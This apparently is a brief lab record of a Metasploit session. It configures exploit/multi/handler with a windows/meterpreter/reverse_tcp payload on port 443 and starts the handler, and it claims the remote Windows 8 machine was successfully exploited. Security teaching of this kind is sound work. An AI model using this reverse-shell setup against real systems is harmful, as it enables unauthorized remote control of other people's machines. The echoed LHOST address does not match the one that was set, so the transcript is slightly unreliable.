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```
=[ metasploit v5.0.41-dev ]
+ -- --=[ 1914 exploits - 1074 auxiliary - 330 post ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops ]
+ -- --=[ 4 evasion ]
```

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) >
show options
```

Module options (exploit/multi/handler):

Name	Current	Setting	Required	Description
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Payload options (windows/meterpreter/reverse_tcp):

Name	Current	Setting	Required	Description
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EXITFUNC	process	yes		Exit technique (Accepted: ", seh, thread, process, none)
LHOST		yes		The listen address (an interface may be specified)
LPORT	4444	yes		The listen port

Exploit target:

Id	Name
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0	Wildcard Target
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```
msf5 exploit(multi/handler) > set LHOST 172.16.8.155
LHOST => 172.16.8.156 msf5 exploit(multi/handler) >
set LPORT 443 LPORT => 443
msf5 exploit(multi/handler) > exploit
```

[*] Started reverse TCP handler on 172.16.8.155:443

Result:

Thus, the setup of Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely has been executed successfully.